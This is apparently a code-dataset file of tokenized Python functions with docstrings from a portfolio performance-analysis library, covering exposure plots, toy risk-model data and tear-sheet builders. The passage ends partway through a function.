{"signature": "def plot_cap_exposures_longshort(long_exposures, short_exposures, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>color_list = plt.cm.gist_rainbow(np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:5>))<EOL>ax.stackplot(long_exposures[<NUM_LIT:0>].index, long_exposures,<EOL>labels=CAP_BUCKETS.keys(), colors=color_list, alpha=<NUM_LIT>,<EOL>baseline='<STR_LIT>')<EOL>ax.stackplot(long_exposures[<NUM_LIT:0>].index, short_exposures, colors=color_list,<EOL>alpha=<NUM_LIT>, baseline='<STR_LIT>')<EOL>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>', linestyle='<STR_LIT:->')<EOL>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>')<EOL>ax.legend(loc='<STR_LIT>', frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Plots outputs of compute_cap_exposures as area charts\n\nParameters\n----------\nlong_exposures, short_exposures : arrays\n    Arrays of long and short market cap exposures (output of\n    compute_cap_exposures).", "id": "f12198:m7"}
{"signature": "def plot_cap_exposures_gross(gross_exposures, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>color_list = plt.cm.gist_rainbow(np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:5>))<EOL>ax.stackplot(gross_exposures[<NUM_LIT:0>].index, gross_exposures,<EOL>labels=CAP_BUCKETS.keys(), colors=color_list, alpha=<NUM_LIT>,<EOL>baseline='<STR_LIT>')<EOL>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>', linestyle='<STR_LIT:->')<EOL>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots outputs of compute_cap_exposures as area charts\n\nParameters\n----------\ngross_exposures : array\n    Arrays of gross market cap exposures (output of compute_cap_exposures).", "id": "f12198:m8"}
{"signature": "def plot_cap_exposures_net(net_exposures, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>color_list = plt.cm.gist_rainbow(np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:5>))<EOL>cap_names = CAP_BUCKETS.keys()<EOL>for i in range(len(net_exposures)):<EOL><INDENT>ax.plot(net_exposures[i], color=color_list[i], alpha=<NUM_LIT>,<EOL>label=cap_names[i])<EOL><DEDENT>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>', linestyle='<STR_LIT:->')<EOL>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots outputs of compute_cap_exposures as line graphs\n\nParameters\n----------\nnet_exposures : array\n    Arrays of gross market cap exposures (output of compute_cap_exposures).", "id": "f12198:m9"}
{"signature": "def compute_volume_exposures(shares_held, volumes, percentile):", "body": "shares_held = shares_held.replace(<NUM_LIT:0>, np.nan)<EOL>shares_longed = shares_held[shares_held > <NUM_LIT:0>]<EOL>shares_shorted = -<NUM_LIT:1> * shares_held[shares_held < <NUM_LIT:0>]<EOL>shares_grossed = shares_held.abs()<EOL>longed_frac = shares_longed.divide(volumes)<EOL>shorted_frac = shares_shorted.divide(volumes)<EOL>grossed_frac = shares_grossed.divide(volumes)<EOL>longed_threshold = <NUM_LIT:100> * longed_frac.apply(<EOL>partial(np.nanpercentile, q=<NUM_LIT:100> * percentile),<EOL>axis='<STR_LIT>',<EOL>)<EOL>shorted_threshold = <NUM_LIT:100> * shorted_frac.apply(<EOL>partial(np.nanpercentile, q=<NUM_LIT:100> * percentile),<EOL>axis='<STR_LIT>',<EOL>)<EOL>grossed_threshold = <NUM_LIT:100> * grossed_frac.apply(<EOL>partial(np.nanpercentile, q=<NUM_LIT:100> * percentile),<EOL>axis='<STR_LIT>',<EOL>)<EOL>return longed_threshold, shorted_threshold, grossed_threshold<EOL>", "docstring": "Returns arrays of pth percentile of long, short and gross volume exposures\nof an algorithm's held shares\n\nParameters\n----------\nshares_held : pd.DataFrame\n    Daily number of shares held by an algorithm.\n    - See full explanation in create_risk_tear_sheet\n\nvolume : pd.DataFrame\n    Daily volume per asset\n    - See full explanation in create_risk_tear_sheet\n\npercentile : float\n    Percentile to use when computing and plotting volume exposures\n    - See full explanation in create_risk_tear_sheet", "id": "f12198:m10"}
{"signature": "def plot_volume_exposures_longshort(longed_threshold, shorted_threshold,<EOL>percentile, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>ax.plot(longed_threshold.index, longed_threshold,<EOL>color='<STR_LIT:b>', label='<STR_LIT>')<EOL>ax.plot(shorted_threshold.index, shorted_threshold,<EOL>color='<STR_LIT:r>', label='<STR_LIT>')<EOL>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>')<EOL>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>'<EOL>.format(<NUM_LIT:100> * percentile))<EOL>ax.legend(frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Plots outputs of compute_volume_exposures as line graphs\n\nParameters\n----------\nlonged_threshold, shorted_threshold : pd.Series\n    Series of longed and shorted volume exposures (output of\n    compute_volume_exposures).\n\npercentile : float\n    Percentile to use when computing and plotting volume exposures.\n    - See full explanation in create_risk_tear_sheet", "id": "f12198:m11"}
{"signature": "def plot_volume_exposures_gross(grossed_threshold, percentile, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>ax.plot(grossed_threshold.index, grossed_threshold,<EOL>color='<STR_LIT:b>', label='<STR_LIT>')<EOL>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>')<EOL>ax.set(title='<STR_LIT>',<EOL>ylabel='<STR_LIT>'<EOL>.format(<NUM_LIT:100> * percentile))<EOL>ax.legend(frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Plots outputs of compute_volume_exposures as line graphs\n\nParameters\n----------\ngrossed_threshold : pd.Series\n    Series of grossed volume exposures (output of\n    compute_volume_exposures).\n\npercentile : float\n    Percentile to use when computing and plotting volume exposures\n    - See full explanation in create_risk_tear_sheet", "id": "f12198:m12"}
{"signature": "def generate_toy_risk_model_output(start_date='<STR_LIT>', periods=<NUM_LIT:10>,<EOL>num_styles=<NUM_LIT:2>):", "body": "dts = pd.date_range(start_date, periods=periods)<EOL>np.random.seed(<NUM_LIT>)<EOL>tickers = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>styles = ['<STR_LIT>'.format(i) for i in range(num_styles)]<EOL>returns = pd.Series(index=dts,<EOL>data=np.random.randn(periods)) / <NUM_LIT:100><EOL>factor_returns = pd.DataFrame(<EOL>columns=styles, index=dts,<EOL>data=np.random.randn(periods, len(styles))) / <NUM_LIT:100><EOL>arrays = [dts, tickers]<EOL>index = pd.MultiIndex.from_product(arrays, names=['<STR_LIT>', '<STR_LIT>'])<EOL>positions = pd.DataFrame(<EOL>columns=tickers, index=dts,<EOL>data=np.random.randint(<NUM_LIT:100>, size=(periods, len(tickers)))<EOL>)<EOL>positions['<STR_LIT>'] = np.zeros(periods)<EOL>factor_loadings = pd.DataFrame(<EOL>columns=styles, index=index,<EOL>data=np.random.randn(periods * len(tickers), len(styles))<EOL>)<EOL>return returns, positions, factor_returns, factor_loadings<EOL>", "docstring": "Generate toy risk model output.\n\nParameters\n----------\nstart_date : str\n    date to start generating toy data\nperiods : int\n    number of days for which to generate toy data\n\nReturns\n-------\ntuple of (returns, factor_returns, positions, factor_loadings)\nreturns : pd.DataFrame\nfactor_returns : pd.DataFrame", "id": "f12207:m0"}
{"signature": "def create_full_tear_sheet(returns,<EOL>positions=None,<EOL>transactions=None,<EOL>market_data=None,<EOL>benchmark_rets=None,<EOL>slippage=None,<EOL>live_start_date=None,<EOL>sector_mappings=None,<EOL>bayesian=False,<EOL>round_trips=False,<EOL>estimate_intraday='<STR_LIT>',<EOL>hide_positions=False,<EOL>cone_std=(<NUM_LIT:1.0>, <NUM_LIT>, <NUM_LIT>),<EOL>bootstrap=False,<EOL>unadjusted_returns=None,<EOL>style_factor_panel=None,<EOL>sectors=None,<EOL>caps=None,<EOL>shares_held=None,<EOL>volumes=None,<EOL>percentile=None,<EOL>turnover_denom='<STR_LIT>',<EOL>set_context=True,<EOL>factor_returns=None,<EOL>factor_loadings=None,<EOL>pos_in_dollars=True,<EOL>header_rows=None,<EOL>factor_partitions=FACTOR_PARTITIONS):", "body": "if (unadjusted_returns is None) and (slippage is not None) and(transactions is not None):<EOL><INDENT>unadjusted_returns = returns.copy()<EOL>returns = txn.adjust_returns_for_slippage(returns, positions,<EOL>transactions, slippage)<EOL><DEDENT>positions = utils.check_intraday(estimate_intraday, returns,<EOL>positions, transactions)<EOL>create_returns_tear_sheet(<EOL>returns,<EOL>positions=positions,<EOL>transactions=transactions,<EOL>live_start_date=live_start_date,<EOL>cone_std=cone_std,<EOL>benchmark_rets=benchmark_rets,<EOL>bootstrap=bootstrap,<EOL>turnover_denom=turnover_denom,<EOL>header_rows=header_rows,<EOL>set_context=set_context)<EOL>create_interesting_times_tear_sheet(returns,<EOL>benchmark_rets=benchmark_rets,<EOL>set_context=set_context)<EOL>if positions is not None:<EOL><INDENT>create_position_tear_sheet(returns, positions,<EOL>hide_positions=hide_positions,<EOL>set_context=set_context,<EOL>sector_mappings=sector_mappings,<EOL>estimate_intraday=False)<EOL>if transactions is not None:<EOL><INDENT>create_txn_tear_sheet(returns, positions, transactions,<EOL>unadjusted_returns=unadjusted_returns,<EOL>estimate_intraday=False,<EOL>set_context=set_context)<EOL>if round_trips:<EOL><INDENT>create_round_trip_tear_sheet(<EOL>returns=returns,<EOL>positions=positions,<EOL>transactions=transactions,<EOL>sector_mappings=sector_mappings,<EOL>estimate_intraday=False)<EOL><DEDENT>if market_data is not None:<EOL><INDENT>create_capacity_tear_sheet(returns, positions, transactions,<EOL>market_data,<EOL>liquidation_daily_vol_limit=<NUM_LIT>,<EOL>last_n_days=<NUM_LIT>,<EOL>estimate_intraday=False)<EOL><DEDENT><DEDENT>if style_factor_panel is not None:<EOL><INDENT>create_risk_tear_sheet(positions, style_factor_panel, sectors,<EOL>caps, shares_held, volumes, percentile)<EOL><DEDENT>if factor_returns is not None and factor_loadings is not None:<EOL><INDENT>create_perf_attrib_tear_sheet(returns, positions, factor_returns,<EOL>factor_loadings, transactions,<EOL>pos_in_dollars=pos_in_dollars,<EOL>factor_partitions=factor_partitions)<EOL><DEDENT><DEDENT>if bayesian:<EOL><INDENT>create_bayesian_tear_sheet(returns,<EOL>live_start_date=live_start_date,<EOL>benchmark_rets=benchmark_rets,<EOL>set_context=set_context)<EOL><DEDENT>", "docstring": "Generate a number of tear sheets that are useful\nfor analyzing a strategy's performance.\n\n- Fetches benchmarks if needed.\n- Creates tear sheets for returns, and significant events.\n    If possible, also creates tear sheets for position analysis,\n    transaction analysis, and Bayesian analysis.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - Time series with decimal returns.\n     - Example:\n        2015-07-16    -0.012143\n        2015-07-17    0.045350\n        2015-07-20    0.030957\n        2015-07-21    0.004902\npositions : pd.DataFrame, optional\n    Daily net position values.\n     - Time series of dollar amount invested in each position and cash.\n     - Days where stocks are not held can be represented by 0 or NaN.\n     - Non-working capital is labelled 'cash'\n     - Example:\n        index         'AAPL'         'MSFT'          cash\n        2004-01-09    13939.3800     -14012.9930     711.5585\n        2004-01-12    14492.6300     -14624.8700     27.1821\n        2004-01-13    -13853.2800    13653.6400      -43.6375\ntransactions : pd.DataFrame, optional\n    Executed trade volumes and fill prices.\n    - One row per trade.\n    - Trades on different names that occur at the\n      same time will have identical indicies.\n    - Example:\n        index                  amount   price    symbol\n        2004-01-09 12:18:01    483      324.12   'AAPL'\n        2004-01-09 12:18:01    122      83.10    'MSFT'\n        2004-01-13 14:12:23    -75      340.43   'AAPL'\nmarket_data : pd.Panel, optional\n    Panel with items axis of 'price' and 'volume' DataFrames.\n    The major and minor axes should match those of the\n    the passed positions DataFrame (same dates and symbols).\nslippage : int/float, optional\n    Basis points of slippage to apply to returns before generating\n    tearsheet stats and plots.\n    If a value is provided, slippage parameter sweep\n    plots will be generated from the unadjusted returns.\n    Transactions and positions must also be passed.\n    - See txn.adjust_returns_for_slippage for more details.\nlive_start_date : datetime, optional\n    The point in time when the strategy began live trading,\n    after its backtest period. This datetime should be normalized.\nhide_positions : bool, optional\n    If True, will not output any symbol names.\nbayesian: boolean, optional\n    If True, causes the generation of a Bayesian tear sheet.\nround_trips: boolean, optional\n    If True, causes the generation of a round trip tear sheet.\nsector_mappings : dict or pd.Series, optional\n    Security identifier to sector mapping.\n    Security ids as keys, sectors as values.\nestimate_intraday: boolean or str, optional\n    Instead of using the end-of-day positions, use the point in the day\n    where we have the most $ invested. This will adjust positions to\n    better approximate and represent how an intraday strategy behaves.\n    By default, this is 'infer', and an attempt will be made to detect\n    an intraday strategy. Specifying this value will prevent detection.\ncone_std : float, or tuple, optional\n    If float, The standard deviation to use for the cone plots.\n    If tuple, Tuple of standard deviation values to use for the cone plots\n     - The cone is a normal distribution with this standard deviation\n         centered around a linear regression.\nbootstrap : boolean (optional)\n    Whether to perform bootstrap analysis for the performance\n    metrics. Takes a few minutes longer.\nturnover_denom : str\n    Either AGB or portfolio_value, default AGB.\n    - See full explanation in txn.get_turnover.\nfactor_returns : pd.Dataframe, optional\n    Returns by factor, with date as index and factors as columns\nfactor_loadings : pd.Dataframe, optional\n    Factor loadings for all days in the date range, with date and\n    ticker as index, and factors as columns.\npos_in_dollars : boolean, optional\n    indicates whether positions is in dollars\nheader_rows : dict or OrderedDict, optional\n    Extra rows to display at the top of the perf stats table.\nset_context : boolean, optional\n    If True, set default plotting style context.\n     - See plotting.context().\nfactor_partitions : dict, optional\n    dict specifying how factors should be separated in perf attrib\n    factor returns and risk exposures plots\n    - See create_perf_attrib_tear_sheet().", "id": "f12208:m1"}
{"signature": "@plotting.customize<EOL>def create_simple_tear_sheet(returns,<EOL>positions=None,<EOL>transactions=None,<EOL>benchmark_rets=None,<EOL>slippage=None,<EOL>estimate_intraday='<STR_LIT>',<EOL>live_start_date=None,<EOL>turnover_denom='<STR_LIT>',<EOL>header_rows=None):", "body": "positions = utils.check_intraday(estimate_intraday, returns,<EOL>positions, transactions)<EOL>if (slippage is not None) and (transactions is not None):<EOL><INDENT>returns = txn.adjust_returns_for_slippage(returns, positions,<EOL>transactions, slippage)<EOL><DEDENT>always_sections = <NUM_LIT:4><EOL>positions_sections = <NUM_LIT:4> if positions is not None else <NUM_LIT:0><EOL>transactions_sections = <NUM_LIT:2> if transactions is not None else <NUM_LIT:0><EOL>live_sections = <NUM_LIT:1> if live_start_date is not None else <NUM_LIT:0><EOL>benchmark_sections = <NUM_LIT:1> if benchmark_rets is not None else <NUM_LIT:0><EOL>vertical_sections = sum([<EOL>always_sections,<EOL>positions_sections,<EOL>transactions_sections,<EOL>live_sections,<EOL>benchmark_sections,<EOL>])<EOL>if live_start_date is not None:<EOL><INDENT>live_start_date = ep.utils.get_utc_timestamp(live_start_date)<EOL><DEDENT>plotting.show_perf_stats(returns,<EOL>benchmark_rets,<EOL>positions=positions,<EOL>transactions=transactions,<EOL>turnover_denom=turnover_denom,<EOL>live_start_date=live_start_date,<EOL>header_rows=header_rows)<EOL>fig = plt.figure(figsize=(<NUM_LIT>, vertical_sections * <NUM_LIT:6>))<EOL>gs = gridspec.GridSpec(vertical_sections, <NUM_LIT:3>, wspace=<NUM_LIT:0.5>, hspace=<NUM_LIT:0.5>)<EOL>ax_rolling_returns = plt.subplot(gs[:<NUM_LIT:2>, :])<EOL>i = <NUM_LIT:2><EOL>if benchmark_rets is not None:<EOL><INDENT>ax_rolling_beta = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL><DEDENT>ax_rolling_sharpe = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>ax_underwater = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>plotting.plot_rolling_returns(returns,<EOL>factor_returns=benchmark_rets,<EOL>live_start_date=live_start_date,<EOL>cone_std=(<NUM_LIT:1.0>, <NUM_LIT>, <NUM_LIT>),<EOL>ax=ax_rolling_returns)<EOL>ax_rolling_returns.set_title('<STR_LIT>')<EOL>if benchmark_rets is not None:<EOL><INDENT>plotting.plot_rolling_beta(returns, benchmark_rets, ax=ax_rolling_beta)<EOL><DEDENT>plotting.plot_rolling_sharpe(returns, ax=ax_rolling_sharpe)<EOL>plotting.plot_drawdown_underwater(returns, ax=ax_underwater)<EOL>if positions is not None:<EOL><INDENT>ax_exposures = plt.subplot(gs[i, :])<EOL>i += <NUM_LIT:1><EOL>ax_top_positions = plt.subplot(gs[i, :], sharex=ax_exposures)<EOL>i += <NUM_LIT:1><EOL>ax_holdings = plt.subplot(gs[i, :], sharex=ax_exposures)<EOL>i += <NUM_LIT:1><EOL>ax_long_short_holdings = plt.subplot(gs[i, :])<EOL>i += <NUM_LIT:1><EOL>positions_alloc = pos.get_percent_alloc(positions)<EOL>plotting.plot_exposures(returns, positions, ax=ax_exposures)<EOL>plotting.show_and_plot_top_positions(returns,<EOL>positions_alloc,<EOL>show_and_plot=<NUM_LIT:0>,<EOL>hide_positions=False,<EOL>ax=ax_top_positions)<EOL>plotting.plot_holdings(returns, positions_alloc, ax=ax_holdings)<EOL>plotting.plot_long_short_holdings(returns, positions_alloc,<EOL>ax=ax_long_short_holdings)<EOL>if transactions is not None:<EOL><INDENT>ax_turnover = plt.subplot(gs[i, :])<EOL>i += <NUM_LIT:1><EOL>ax_txn_timings = plt.subplot(gs[i, :])<EOL>i += <NUM_LIT:1><EOL>plotting.plot_turnover(returns,<EOL>transactions,<EOL>positions,<EOL>ax=ax_turnover)<EOL>plotting.plot_txn_time_hist(transactions, ax=ax_txn_timings)<EOL><DEDENT><DEDENT>for ax in fig.axes:<EOL><INDENT>plt.setp(ax.get_xticklabels(), visible=True)<EOL><DEDENT>", "docstring": "Simpler version of create_full_tear_sheet; generates summary performance\nstatistics and important plots as a single image.\n\n- Plots: cumulative returns, rolling beta, rolling Sharpe, underwater,\n    exposure, top 10 holdings, total holdings, long/short holdings,\n    daily turnover, transaction time distribution.\n- Never accept market_data input (market_data = None)\n- Never accept sector_mappings input (sector_mappings = None)\n- Never perform bootstrap analysis (bootstrap = False)\n- Never hide posistions on top 10 holdings plot (hide_positions = False)\n- Always use default cone_std (cone_std = (1.0, 1.5, 2.0))\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - Time series with decimal returns.\n     - Example:\n        2015-07-16    -0.012143\n        2015-07-17    0.045350\n        2015-07-20    0.030957\n        2015-07-21    0.004902\npositions : pd.DataFrame, optional\n    Daily net position values.\n     - Time series of dollar amount invested in each position and cash.\n     - Days where stocks are not held can be represented by 0 or NaN.\n     - Non-working capital is labelled 'cash'\n     - Example:\n        index         'AAPL'         'MSFT'          cash\n        2004-01-09    13939.3800     -14012.9930     711.5585\n        2004-01-12    14492.6300     -14624.8700     27.1821\n        2004-01-13    -13853.2800    13653.6400      -43.6375\ntransactions : pd.DataFrame, optional\n    Executed trade volumes and fill prices.\n    - One row per trade.\n    - Trades on different names that occur at the\n      same time will have identical indicies.\n    - Example:\n        index                  amount   price    symbol\n        2004-01-09 12:18:01    483      324.12   'AAPL'\n        2004-01-09 12:18:01    122      83.10    'MSFT'\n        2004-01-13 14:12:23    -75      340.43   'AAPL'\nbenchmark_rets : pd.Series, optional\n    Daily returns of the benchmark, noncumulative.\nslippage : int/float, optional\n    Basis points of slippage to apply to returns before generating\n    tearsheet stats and plots.\n    If a value is provided, slippage parameter sweep\n    plots will be generated from the unadjusted returns.\n    Transactions and positions must also be passed.\n    - See txn.adjust_returns_for_slippage for more details.\nlive_start_date : datetime, optional\n    The point in time when the strategy began live trading,\n    after its backtest period. This datetime should be normalized.\nturnover_denom : str, optional\n    Either AGB or portfolio_value, default AGB.\n    - See full explanation in txn.get_turnover.\nheader_rows : dict or OrderedDict, optional\n    Extra rows to display at the top of the perf stats table.\nset_context : boolean, optional\n    If True, set default plotting style context.", "id": "f12208:m2"}
{"signature": "@plotting.customize<EOL>def create_returns_tear_sheet(returns, positions=None,<EOL>transactions=None,<EOL>live_start_date=None,<EOL>cone_std=(<NUM_LIT:1.0>, <NUM_LIT>, <NUM_LIT>),<EOL>benchmark_rets=None,<EOL>bootstrap=False,<EOL>turnover_denom='<STR_LIT>',<EOL>header_rows=None,<EOL>return_fig=False):", "body": "if benchmark_rets is not None:<EOL><INDENT>returns = utils.clip_returns_to_benchmark(returns, benchmark_rets)<EOL><DEDENT>plotting.show_perf_stats(returns, benchmark_rets,<EOL>positions=positions,<EOL>transactions=transactions,<EOL>turnover_denom=turnover_denom,<EOL>bootstrap=bootstrap,<EOL>live_start_date=live_start_date,<EOL>header_rows=header_rows)<EOL>plotting.show_worst_drawdown_periods(returns)<EOL>vertical_sections = <NUM_LIT:11><EOL>if live_start_date is not None:<EOL><INDENT>vertical_sections += <NUM_LIT:1><EOL>live_start_date = ep.utils.get_utc_timestamp(live_start_date)<EOL><DEDENT>if benchmark_rets is not None:<EOL><INDENT>vertical_sections += <NUM_LIT:1><EOL><DEDENT>if bootstrap:<EOL><INDENT>vertical_sections += <NUM_LIT:1><EOL><DEDENT>fig = plt.figure(figsize=(<NUM_LIT>, vertical_sections * <NUM_LIT:6>))<EOL>gs = gridspec.GridSpec(vertical_sections, <NUM_LIT:3>, wspace=<NUM_LIT:0.5>, hspace=<NUM_LIT:0.5>)<EOL>ax_rolling_returns = plt.subplot(gs[:<NUM_LIT:2>, :])<EOL>i = <NUM_LIT:2><EOL>ax_rolling_returns_vol_match = plt.subplot(gs[i, :],<EOL>sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>ax_rolling_returns_log = plt.subplot(gs[i, :],<EOL>sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>ax_returns = plt.subplot(gs[i, :],<EOL>sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>if benchmark_rets is not None:<EOL><INDENT>ax_rolling_beta = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL><DEDENT>ax_rolling_volatility = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>ax_rolling_sharpe = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>ax_drawdown = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>ax_underwater = plt.subplot(gs[i, :], sharex=ax_rolling_returns)<EOL>i += <NUM_LIT:1><EOL>ax_monthly_heatmap = plt.subplot(gs[i, <NUM_LIT:0>])<EOL>ax_annual_returns = plt.subplot(gs[i, <NUM_LIT:1>])<EOL>ax_monthly_dist = plt.subplot(gs[i, <NUM_LIT:2>])<EOL>i += <NUM_LIT:1><EOL>ax_return_quantiles = plt.subplot(gs[i, :])<EOL>i += <NUM_LIT:1><EOL>plotting.plot_rolling_returns(<EOL>returns,<EOL>factor_returns=benchmark_rets,<EOL>live_start_date=live_start_date,<EOL>cone_std=cone_std,<EOL>ax=ax_rolling_returns)<EOL>ax_rolling_returns.set_title(<EOL>'<STR_LIT>')<EOL>plotting.plot_rolling_returns(<EOL>returns,<EOL>factor_returns=benchmark_rets,<EOL>live_start_date=live_start_date,<EOL>cone_std=None,<EOL>volatility_match=(benchmark_rets is not None),<EOL>legend_loc=None,<EOL>ax=ax_rolling_returns_vol_match)<EOL>ax_rolling_returns_vol_match.set_title(<EOL>'<STR_LIT>')<EOL>plotting.plot_rolling_returns(<EOL>returns,<EOL>factor_returns=benchmark_rets,<EOL>logy=True,<EOL>live_start_date=live_start_date,<EOL>cone_std=cone_std,<EOL>ax=ax_rolling_returns_log)<EOL>ax_rolling_returns_log.set_title(<EOL>'<STR_LIT>')<EOL>plotting.plot_returns(<EOL>returns,<EOL>live_start_date=live_start_date,<EOL>ax=ax_returns,<EOL>)<EOL>ax_returns.set_title(<EOL>'<STR_LIT>')<EOL>if benchmark_rets is not None:<EOL><INDENT>plotting.plot_rolling_beta(<EOL>returns, benchmark_rets, ax=ax_rolling_beta)<EOL><DEDENT>plotting.plot_rolling_volatility(<EOL>returns, factor_returns=benchmark_rets, ax=ax_rolling_volatility)<EOL>plotting.plot_rolling_sharpe(<EOL>returns, ax=ax_rolling_sharpe)<EOL>plotting.plot_drawdown_periods(<EOL>returns, top=<NUM_LIT:5>, ax=ax_drawdown)<EOL>plotting.plot_drawdown_underwater(<EOL>returns=returns, ax=ax_underwater)<EOL>plotting.plot_monthly_returns_heatmap(returns, ax=ax_monthly_heatmap)<EOL>plotting.plot_annual_returns(returns, ax=ax_annual_returns)<EOL>plotting.plot_monthly_returns_dist(returns, ax=ax_monthly_dist)<EOL>plotting.plot_return_quantiles(<EOL>returns,<EOL>live_start_date=live_start_date,<EOL>ax=ax_return_quantiles)<EOL>if bootstrap and (benchmark_rets is not None):<EOL><INDENT>ax_bootstrap = plt.subplot(gs[i, :])<EOL>plotting.plot_perf_stats(returns, benchmark_rets,<EOL>ax=ax_bootstrap)<EOL><DEDENT>elif bootstrap:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>for ax in fig.axes:<EOL><INDENT>plt.setp(ax.get_xticklabels(), visible=True)<EOL><DEDENT>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Generate a number of plots for analyzing a strategy's returns.\n\n- Fetches benchmarks, then creates the plots on a single figure.\n- Plots: rolling returns (with cone), rolling beta, rolling sharpe,\n    rolling Fama-French risk factors, drawdowns, underwater plot, monthly\n    and annual return plots, daily similarity plots,\n    and return quantile box plot.\n- Will also print the start and end dates of the strategy,\n    performance statistics, drawdown periods, and the return range.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame, optional\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame, optional\n    Executed trade volumes and fill prices.\n    - See full explanation in create_full_tear_sheet.\nlive_start_date : datetime, optional\n    The point in time when the strategy began live trading,\n    after its backtest period.\ncone_std : float, or tuple, optional\n    If float, The standard deviation to use for the cone plots.\n    If tuple, Tuple of standard deviation values to use for the cone plots\n     - The cone is a normal distribution with this standard deviation\n         centered around a linear regression.\nbenchmark_rets : pd.Series, optional\n    Daily noncumulative returns of the benchmark.\n     - This is in the same style as returns.\nbootstrap : boolean, optional\n    Whether to perform bootstrap analysis for the performance\n    metrics. Takes a few minutes longer.\nturnover_denom : str, optional\n    Either AGB or portfolio_value, default AGB.\n    - See full explanation in txn.get_turnover.\nheader_rows : dict or OrderedDict, optional\n    Extra rows to display at the top of the perf stats table.\nreturn_fig : boolean, optional\n    If True, returns the figure that was plotted on.", "id": "f12208:m3"}
{"signature": "@plotting.customize<EOL>def create_position_tear_sheet(returns, positions,<EOL>show_and_plot_top_pos=<NUM_LIT:2>, hide_positions=False,<EOL>return_fig=False, sector_mappings=None,<EOL>transactions=None, estimate_intraday='<STR_LIT>'):", "body": "positions = utils.check_intraday(estimate_intraday, returns,<EOL>positions, transactions)<EOL>if hide_positions:<EOL><INDENT>show_and_plot_top_pos = <NUM_LIT:0><EOL><DEDENT>vertical_sections = <NUM_LIT:7> if sector_mappings is not None else <NUM_LIT:6><EOL>fig = plt.figure(figsize=(<NUM_LIT>, vertical_sections * <NUM_LIT:6>))<EOL>gs = gridspec.GridSpec(vertical_sections, <NUM_LIT:3>, wspace=<NUM_LIT:0.5>, hspace=<NUM_LIT:0.5>)<EOL>ax_exposures = plt.subplot(gs[<NUM_LIT:0>, :])<EOL>ax_top_positions = plt.subplot(gs[<NUM_LIT:1>, :], sharex=ax_exposures)<EOL>ax_max_median_pos = plt.subplot(gs[<NUM_LIT:2>, :], sharex=ax_exposures)<EOL>ax_holdings = plt.subplot(gs[<NUM_LIT:3>, :], sharex=ax_exposures)<EOL>ax_long_short_holdings = plt.subplot(gs[<NUM_LIT:4>, :])<EOL>ax_gross_leverage = plt.subplot(gs[<NUM_LIT:5>, :], sharex=ax_exposures)<EOL>positions_alloc = pos.get_percent_alloc(positions)<EOL>plotting.plot_exposures(returns, positions, ax=ax_exposures)<EOL>plotting.show_and_plot_top_positions(<EOL>returns,<EOL>positions_alloc,<EOL>show_and_plot=show_and_plot_top_pos,<EOL>hide_positions=hide_positions,<EOL>ax=ax_top_positions)<EOL>plotting.plot_max_median_position_concentration(positions,<EOL>ax=ax_max_median_pos)<EOL>plotting.plot_holdings(returns, positions_alloc, ax=ax_holdings)<EOL>plotting.plot_long_short_holdings(returns, positions_alloc,<EOL>ax=ax_long_short_holdings)<EOL>plotting.plot_gross_leverage(returns, positions,<EOL>ax=ax_gross_leverage)<EOL>if sector_mappings is not None:<EOL><INDENT>sector_exposures = pos.get_sector_exposures(positions,<EOL>sector_mappings)<EOL>if len(sector_exposures.columns) > <NUM_LIT:1>:<EOL><INDENT>sector_alloc = pos.get_percent_alloc(sector_exposures)<EOL>sector_alloc = sector_alloc.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>ax_sector_alloc = plt.subplot(gs[<NUM_LIT:6>, :], sharex=ax_exposures)<EOL>plotting.plot_sector_allocations(returns, sector_alloc,<EOL>ax=ax_sector_alloc)<EOL><DEDENT><DEDENT>for ax in 